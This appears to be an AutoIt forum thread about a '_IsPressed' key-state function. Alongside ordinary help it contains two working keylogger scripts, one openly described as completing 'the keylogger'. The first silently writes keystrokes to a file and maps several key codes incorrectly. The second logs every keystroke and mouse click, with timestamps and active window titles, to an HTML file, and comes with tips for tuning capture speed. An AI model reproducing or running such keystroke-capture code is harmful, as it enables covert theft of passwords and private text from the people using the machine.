Jump to content

_IsPressed func


ezzetabi
 Share

Recommended Posts

Hey, thanks ezzetabi. This is exactly what I came to the forum for today! :D

An array of 1000 is large? Nah, that's tiny. And the processing speed for redim? Minimal, unless AutoIt is a real sloth. :idiot:

Another possibility is:

$KeysPressed = "|"
For $i = 1 To $Keys[0]
    If _IsPressed($Keys[$i]) Then
        $KeysPressed = $KeysPressed & $Keys[$i] & "|"
       ; Sleep(1)
     EndIf
Next
Return $KeysPressed

It depends what you want to do with the results but if there's more testing to be done then it's easier to do string searches than have loops that check each item in the returned array.

$KeyPressed_Shift = "|10|"
$KeyPressed_Ctrl  = "|11|"
$KeyPressed_Alt   = "|12|"
$KeysPressed = Pressed()
If StringInStr ($KeysPressed, $KeyPressed_Shift) _
And StringInStr ($KeysPressed, $KeyPressed_Alt) Then
...

(although using _IsPressed ($VK_Shift) And _IsPressed ($VK_Alt) would serve that particular example better).

Fergus

ps: How about @VK_Shift et al, rather than $VK_Shift?

pps. What was that Sleep() for?

Link to comment
Share on other sites

  • Replies 64
  • Created
  • Last Reply

Top Posters In This Topic

Top Posters In This Topic

  • 2 weeks later...

How come 4e or some of the other "4x" statements don't work, while the rest of them do?

<{POST_SNAPBACK}>

any of the statements with a letter needs to be in quotes " ' "... try '4x' and '4e'.

~WhOOt

BTW i wanted to share my script, to complete the keylogger.

#include-once

$file = FileOpen("security.file", 1)
If $file = -1 Then
   Exit
EndIf

While 1
   $sleep = 50
;for the a
  If _IsPressed(41) Then
     _LogKeyPress("a")
     sleep($sleep)
     Elseif _IsPressed(42) Then
     _LogKeyPress("b")
          sleep($sleep)
          Elseif _IsPressed(43) Then
     _LogKeyPress("c")
          sleep($sleep)
          Elseif _IsPressed(44) Then
     _LogKeyPress("d")
          sleep($sleep)
          Elseif _IsPressed(45) Then
     _LogKeyPress("e")
          sleep($sleep)
          Elseif _IsPressed(46) Then
     _LogKeyPress("f")
          sleep($sleep)
          Elseif _IsPressed(47) Then
     _LogKeyPress("g")
          sleep($sleep)
          Elseif _IsPressed(48) Then
     _LogKeyPress("h")
          sleep($sleep)
          Elseif _IsPressed(49) Then
     _LogKeyPress("i")
          sleep($sleep)
          Elseif _IsPressed(50) Then
     _LogKeyPress("p")
          sleep($sleep)
          Elseif _IsPressed(51) Then
     _LogKeyPress("q")
          sleep($sleep)
          Elseif _IsPressed(52) Then
     _LogKeyPress("r")
          sleep($sleep)
          Elseif _IsPressed(53) Then
     _LogKeyPress("s")
          sleep($sleep)
          Elseif _IsPressed(54) Then
     _LogKeyPress("t")
          sleep($sleep)
          Elseif _IsPressed(55) Then
     _LogKeyPress("u")
          sleep($sleep)
          Elseif _IsPressed(56) Then
     _LogKeyPress("v")
          sleep($sleep)
          Elseif _IsPressed(57) Then
     _LogKeyPress("w")
          sleep($sleep)
          Elseif _IsPressed(58) Then
     _LogKeyPress("x")
          sleep($sleep)
          Elseif _IsPressed(59) Then
     _LogKeyPress("y")
          sleep($sleep)
          Elseif _IsPressed(60) Then
     _LogKeyPress("0")
          sleep($sleep)
               Elseif _IsPressed(61) Then
     _LogKeyPress("1")
          sleep($sleep)
               Elseif _IsPressed(62) Then
     _LogKeyPress("2")
          sleep($sleep)
               Elseif _IsPressed(63) Then
     _LogKeyPress("3")
          sleep($sleep)
               Elseif _IsPressed(64) Then
     _LogKeyPress("4")
          sleep($sleep)
               Elseif _IsPressed(65) Then
     _LogKeyPress("5")
          sleep($sleep)
               Elseif _IsPressed(66) Then
     _LogKeyPress("6")
          sleep($sleep)
               Elseif _IsPressed(67) Then
     _LogKeyPress("7")
          sleep($sleep)
               Elseif _IsPressed(68) Then
     _LogKeyPress("8")
          sleep($sleep)
               Elseif _IsPressed(69) Then
     _LogKeyPress("9")
          sleep($sleep)
               Elseif _IsPressed(08) Then
     _LogKeyPress(" BACKSPACE ")
          sleep($sleep)
               Elseif _IsPressed(09) Then
     _LogKeyPress(" TAB ")
          Elseif _IsPressed('4A') Then
     _LogKeyPress("j")
          sleep($sleep)
          Elseif _IsPressed('4B') Then
     _LogKeyPress("k")
          sleep($sleep)
          Elseif _IsPressed('4C') Then
     _LogKeyPress("l")
          sleep($sleep)
          Elseif _IsPressed('4D') Then
     _LogKeyPress("m")
          sleep($sleep)
               Elseif _IsPressed('4F') Then
     _LogKeyPress("o")
          sleep($sleep)
                    Elseif _IsPressed('0D') Then
     _LogKeyPress("  ENTER  ")
          sleep($sleep)
               Elseif _IsPressed('5A') Then
     _LogKeyPress("z")
          sleep($sleep)
          Elseif _IsPressed('5B') Then
     _LogKeyPress("  Left Windows key  ")
          sleep($sleep)
          Elseif _IsPressed('5C') Then
     _LogKeyPress("  Right Windows key  ")
          sleep($sleep)
          Elseif _IsPressed('4E') Then
     _LogKeyPress("n")
          sleep($sleep)
           Elseif _IsPressed(30) Then
     _LogKeyPress("0")
          sleep($sleep)
               Elseif _IsPressed(31) Then
     _LogKeyPress("1") 
     sleep($sleep)     
     Elseif _IsPressed(32) Then
     _LogKeyPress("2")
          sleep($sleep)
           Elseif _IsPressed(33) Then
     _LogKeyPress("3")
          sleep($sleep)
           Elseif _IsPressed(34) Then
     _LogKeyPress("4")
          sleep($sleep)
           Elseif _IsPressed(35) Then
     _LogKeyPress("5")
          sleep($sleep)
           Elseif _IsPressed(36) Then
     _LogKeyPress("6")
          sleep($sleep)
           Elseif _IsPressed(37) Then
     _LogKeyPress("7")
          sleep($sleep)
           Elseif _IsPressed(38) Then
     _LogKeyPress("8")
          sleep($sleep)
           Elseif _IsPressed(39) Then
     _LogKeyPress("9")
          sleep($sleep)

     Elseif _IsPressed(20) Then
     _LogKeyPress("  ")
          sleep($sleep)
  EndIf
; repeat that for every key...

  Sleep(50); You may need to change that value (depending on your computer´s speed)
WEnd
Func _LogKeyPress($what2log)
  FileWrite('security.file', $what2log)
EndFunc

FileClose($file)
Link to comment
Share on other sites

  • 1 month later...

How come when i copy that code to my autoitv3 script i get the error...

----------------------------------------------------------------------------------

Line 11 (File "C:\Documents and Settings\User\Desktop\File.au3")

If _IsPressed(41) Then

If ^ERROR

Error: Unkown function name.

-----------------------------------------------------------------------------------

Anyone know why?

Link to comment
Share on other sites

_IsPressed is a UDF (user defined function) not a built-in function.

Moreover, it's not provided within autoit installer (or I'm blind).

At least, if you had read the WHOLE thread you would have known that and more: ezzetabi's _IsPressed function is written at the very beginning of this thread: HERE

So copy it within your code or in an external file (IsPressed.au3 for instance) you'll include and you're done!

Enjoy!

Edited by LazyCoder
A good program computing A into B is mostly one that won't crash in all the other cases...
Link to comment
Share on other sites

Thx Hehe missed that... Got rid of that error but now im getting an error with this line.

$aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)

The error reads...

------------------------------------------------------------------------------------

Line 187 (File "C:\Documents and Settings\User\Desktop\File.au3"):

$aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)

$aR = ^ERROR

Error: Unknown function name.

------------------------------------------------------------------------------------

What else am i missing lol.

Link to comment
Share on other sites

Thx Hehe missed that... Got rid of that error but now im getting an error with this line.

  $aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)

The error reads...

------------------------------------------------------------------------------------

Line 187 (File "C:\Documents and Settings\User\Desktop\File.au3"):

$aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)

$aR = ^ERROR

Error: Unknown function name.

------------------------------------------------------------------------------------

What else am i missing lol.

<{POST_SNAPBACK}>

You missed that you need v3.1.0 - Beta version for use DLLCall, too. :lmao:
Link to comment
Share on other sites

Thanks. I figured it had to do something with the version i was running.  One more question before i go. Do i have to have Autoit installed on the computer i want to run the compiled script on or is there anyway to do it without autoit installed? Thanks.

<{POST_SNAPBACK}>

Read the manual -> Compiling Scripts...
Link to comment
Share on other sites

  • 1 month later...

Try these:

  04 Middle mouse button (three-button mouse)

  05 Windows 2000/XP: X1 mouse button

  06 Windows 2000/XP: X2 mouse button

"I thoroughly disapprove of duels. If a man should challenge me, I would take him kindly and forgivingly by the hand and lead him to a quiet place and kill him." - Mark TwainPatient: "It hurts when I do $var_"Doctor: "Don't do $var_" - Lar.
Link to comment
Share on other sites

Up and Down arrows? -.-

"I thoroughly disapprove of duels. If a man should challenge me, I would take him kindly and forgivingly by the hand and lead him to a quiet place and kill him." - Mark TwainPatient: "It hurts when I do $var_"Doctor: "Don't do $var_" - Lar.
Link to comment
Share on other sites

  • 1 month later...

Find out wich code have to be used. set the code and if you go to the script later you have to find the code again, so you could validate it. So I wrote an advanced Version based on the further IsPressed-function. In this version you could use the same keynames as in Send() plus:

{LMOUSE}

{RMOUSE}

{MMOUSE}

#include <Array.au3>
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Global $ScanCode = StringSplit( StringReplace( "_
          {LMOUSE} |{RMOUSE}    |VK_CANCEL  |{MMOUSE}    |{X1MOUSE} |{X2MOUSE} |n/s       |_
BACKSPACE|{TAB} |n/s         |n/s       |VK_CLEAR    |{RETURN}   |n/s      |n/s       |_
SHIFT   |CONTROL  |ALT       |{PAUSE}   |{CAPSLOCK}   |VK_KANA    |n/s     |VK_JUNJA     |_
VK_FINAL |VK_HANJA |n/s      |ESCAPE     |VK_CONVERT   |VK_NONCONVERT|VK_ACCEPT |VK_MODECHANGE|_
{SPACE}  |PAGEUP   |PAGEDOWN    |{END}    |{HOME}      |{LEFT}     |{UP}      |{RIGHT}    |_
{DOWN}   |VK_SELECT|VK_PRINT    |VK_EXECUTE |{PRINTSCREEN}|INSERT      |DELETE  |VK_HELP      |_
0       |1      |2         |3         |4            |5          |6       |7         |_
8       |9      |n/s         |n/s       |n/s          |n/s        |n/s     |n/s       |_
n/s   |A        |B         |C         |D            |E          |F       |G         |_
H       |I      |J         |K         |L            |M          |N       |O         |_
P       |Q      |R         |S         |T            |U          |V       |W         |_
X       |Y      |Z         |{LWIN}   |{RWIN}       |{APPSKEY}   |n/s       |{SLEEP}   |_
{NUMPAD0}|{NUMPAD1}|{NUMPAD2}   |{NUMPAD3}  |{NUMPAD4}  |{NUMPAD5}  |{NUMPAD6} |{NUMPAD7}   |_
{NUMPAD8}|{NUMPAD9}|{NUMPADMULT}|{NUMPADADD}|VK_SEPERATOR |{NUMPADSUB}  |VK_DECIMAL|{NUMPADDIV}  |_
{F1}     |{F2}   |{F3}      |{F4}      |{F5}         |{F6}       |{F7}    |{F8}      |_
{F9}     |{F10} |{F11}     |{F12}     |{F13}        |{F14}      |{F15}   |{F16}     |_
{F17}   |{F18}  |{F19}     |{F20}     |{F21}        |{F22}      |{F23}   |{F24}     |_
n/s   |n/s    |n/s       |n/s       |n/s          |n/s        |n/s     |n/s       |_
{NUMLOCK}|VK_SCROLL|n/s      |n/s       |n/s          |n/s        |n/s     |n/s       |_
n/s   |n/s    |n/s       |n/s       |n/s          |n/s        |n/s     |n/s       |_
{LSHIFT} |{RSHIFT} |{LCTRL}  |{RCTRL}   |{LALT}    |{RALT}     |     End Of Table       _
", " ", "" ), "|" )
; All function keys with more than one spelling would be listed between Select and EndSelect below
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


Func _GetScanCode( $val )
   Dim $i
   For $i = 1 to $ScanCode[0]
      If $ScanCode[$i] == $val Then ExitLoop
   Next
   If $i >= $ScanCode[0] Then
      Select
         Case $val == "{BACKSPACE}" OR $val == "{BS}"
            $i = 8
         Case $val == "{SHIFT}" OR $val == "+"
            $i = 16
         Case $val == "{CONTROL}" OR $val == "{CTRL}" OR $val == "^"
            $i = 17
         Case $val == "{ALT}" OR $val == "!"
            $i = 18
         Case $val == "{ESCAPE}" OR $val == "{ESC}"
            $i = 27
         Case $val == "{PAGEUP}" OR $val == "{PGUP}"
            $i = 33
         Case $val == "{PAGEDOWN}" OR $val == "{PGDN}"
            $i = 34
         Case $val == "{INSERT}" OR $val == "{INS}"
            $i = 45
         Case $val == "{DELETE}" OR $val == "{DEL}"
            $i = 46
         Case $val == "#"
            $i = 0
         Case Else
            $i = -1
      EndSelect
   EndIf
   Return Hex( $i, 2 )
EndFunc


Func _IsPressed( $hexKey )
; $hexKey must be the value of one of the keys.
; _IsPressed_Adv will Return 0 if the key is not pressed, 1 if it is.
; $hexKey should entered as a string, Don't Forget the quotes!
; (yeah, layer. This is For you)
 
   Local $aR, $bO
 
   $hexKey = '0x' & $hexKey
   $aR = DllCall( "user32.dll", "int", "GetAsyncKeyState", "int", $hexKey )
   If Not @error And BitAND( $aR[0], 0x8000 ) == 0x8000 Then
      $bO = 1
   Else
      $bO = 0
   EndIf
   Return $bO
EndFunc


Func _IsPressed_Adv( $Key, $state=1 )
; $Key could be a string.
; If $state=0 than all characters in $Key would be connected by OR otherwise by AND

   $avArray = StringSplit( StringStripCR( StringReplace( StringUpper( $Key ), " ", "" )), "" )
   $i = 1
   Do
      If $avArray[$i] == '{' Then
         While $i < UBound( $avArray )-1
            $avArray[$i] = $avArray[$i] & $avArray[$i+1]
            If $i+1  < UBound( $avArray )-1 AND $avArray[$i+1] == '}' Then
               If $avArray[$i+2] == '}' Then
                  $avArray[$i] = $avArray[$i] & $avArray[$i+2]
                  _ArrayDelete($avArray, $i+2)
               EndIf
               _ArrayDelete($avArray, $i+1)
               ExitLoop
             EndIf
             _ArrayDelete($avArray, $i+1)
         Wend
      EndIf
      $i = $i+1
   Until $i = UBound( $avArray )
   $avArray[0] = UBound( $avArray )-1
   Dim $result
   If $state == 0 Then
      $result = 0
      For $i = 1 to $avArray[0]
         $gs = _GetScanCode( $avArray[$i] )
         If $gs < Hex( 0, 2 ) Then
            SetError(1)
            Return 0
         ElseIf $gs == Hex( 0, 2 ) Then
            $result = $result OR _IsPressed_Adv( "{LWIN}{RWIN}", 0 )
         Else
            $result = $result OR _IsPressed( $gs )
         EndIf
      Next
   Else
      $result = 1
      For $i = 1 to $avArray[0]
         $gs = _GetScanCode( $avArray[$i] )
         If $gs < Hex( 0, 2 ) Then
            SetError( 1 )
            Return 0
         ElseIf $gs == Hex( 0, 2 ) Then
            $result = $result AND _IsPressed_Adv( "{LWIN}{RWIN}", 0 )
         Else
            $result = $result AND _IsPressed( $gs )
         EndIf
      Next
   EndIf
   Return $result
EndFunc




;;;;;;;;;;;;;;;;;;;;;;;;;; Main;;;;;;;;;;;;;;;;;;;;;;;;;;



While 1; Waiting for left mouse button
    if _IsPressed_Adv("{LMOUSE}") == 1 then exitloop
Wend
Edited by SnowOfIce
Link to comment
Share on other sites

;;break(0);disllow close from the tasktray
;; Comment this out to prevent hotkey exit
hotkeyset('{esc}', 'halt')
func halt()
    exit
endFunc

$i=0
$shiftDown=0
$window2=""
$date=@year&@mon&@mday
$logDir=@DesktopDir
$logFile='log.html'
DirCreate ($logDir)
Opt("TrayIconHide", 0)  
;------------------------------------------------Other Functions------------------
Func _IsPressed($hexKey)

Local $aR, $bRv
$hexKey = '0x' & $hexKey
$aR = DllCall($user32, "int", "GetAsyncKeyState", "int", $hexKey)

If $aR[0] <> 0 Then
    $bRv = 1
Else
    $bRv = 0
EndIf

Return $bRv
EndFunc  

$file = FileOpen($logDir&'\'&$logFile, 1)
If $file = -1 Then
  Exit
EndIf
filewrite($file,"<font face=Verdana size=1>")


Func Terminate()
DllClose ( $user32 )
FileClose ( $file )
    Exit
EndFunc

Opt("OnExitFunc","Terminate")
$user32 = DllOpen ( "user32" )


$x = 0
$y = 0
$key = ''
Dim $keyDown[8][16]
for $x = 0 to 7
 for $y = 0 to 15
  $keyDown[$x][$y] = 0
 next
next


while 1
    if _IsPressed('01') Then
        _LogKeyPress('<font color=#008000 style=font-size:9px><i> [LEFT MOUSE] </i></font>')
    endif
    if _IsPressed('02') Then
        _LogKeyPress('<font color=#008000 style=font-size:9px><i> [RIGHT MOUSE] </i></font>')
    endif
    if _IsPressed('08') Then
        _LogKeyPress('<font color=#F00000 style=font-size:9px><i> [BACKSPACE] </i></font>')
    endif
    if _IsPressed('09') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [TAB] </i></font>')
    endif
    if _IsPressed('0d') Then
        _LogKeyPress('<font color=#A000A0 style=font-size:9px><i> [ENTER] </i></font><br>')
    endif
    if _IsPressed('10') Then
        _LogKeyPress('<font color=#00A0A0 style=font-size:9px><i> [SHIFT] </i></font>')
    endif
    if _IsPressed('12') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [CTRL] </i></font>')
    endif
    if _IsPressed('13') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [PAUSE] </i></font>')
    endif
    if _IsPressed('14') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [CAPSLOCK] </i></font>')
    endif
    if _IsPressed('1b') Then
        _LogKeyPress('<font color=#F00000 style=font-size:9px><i> [ESC] </i></font>')
    endif
    if _IsPressed('21') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [PGUP] </i></font>')
    endif
    if _IsPressed('22') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [PGDOWN] </i></font>')
    endif
    if _IsPressed('23') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [END] </i></font>')
    endif
    if _IsPressed('24') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [HOME] </i></font>')
    endif
    if _IsPressed('25') Then
        _LogKeyPress('<font color=#0000F0 style=font-size:9px><i> [LEFT] </i></font>')
    endif
    if _IsPressed('26') Then
        _LogKeyPress('<font color=#0080F0 style=font-size:9px><i> [UP] </i></font>')
    endif
    if _IsPressed('27') Then
        _LogKeyPress('<font color=#0080F0 style=font-size:9px><i> [RIGHT] </i></font>')
    endif
    if _IsPressed('28') Then
        _LogKeyPress('<font color=#0080F0 style=font-size:9px><i> [DOWN] </i></font>')
    endif
    if _IsPressed('2c') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [PRINTSCREEN] </i></font>')
    endif
    if _IsPressed('2d') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [INSERT] </i></font>')
    endif
    if _IsPressed('2e') Then
        _LogKeyPress('<font color=#F00a000 style=font-size:9px><i> [DELETE] </i></font>')
    endif
    
    
    for $x = 2 to 7
     for $y = 0 to 15
        $key = hex($x, 1)&hex($y, 1)
        If _IsPressed($key) AND $keyDown[$x][$y] == 0 Then
            _LogKeyPress(chr(dec($key)))
            $keyDown[$x][$y] = 1
        
        else
            If _IsPressed($key)then
            else
                $keyDown[$x][$y] = 0
            endif
        endif
       next
     next
wend


Func _LogKeyPress($what2log)
$window=wingettitle("")
if $window=$window2 Then
    FileWrite($file,$what2log)
    Sleep(95)
Else
$window2=$window
FileWrite($file, "<br><BR>" & "<b> ["& @Year&"."&@mon&"."&@mday&"  "&@HOUR & ":" &@MIN & ":" &@SEC & ']  Window: "'& $window& '"</b><br>'& $what2log)
sleep (95)
Endif
EndFunc

This works off the fact that characters are sent based on a 0-7, 0-F hex grid (00 all the way up to 7F (127). IMO Much faster... It also implements a keyup keydown state so slow typers don't feed in

IIII'''MMMM WRRITTINGGG SOMMEETHIINGGG... I was having problems with that last sleep(100) in the log func. I couldn't find a time that suited my fast typing and my slow typing without either skipping keys or adding too many to the log.

I AM ORCA!! A VERY POWERFUL WHALE!!!

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...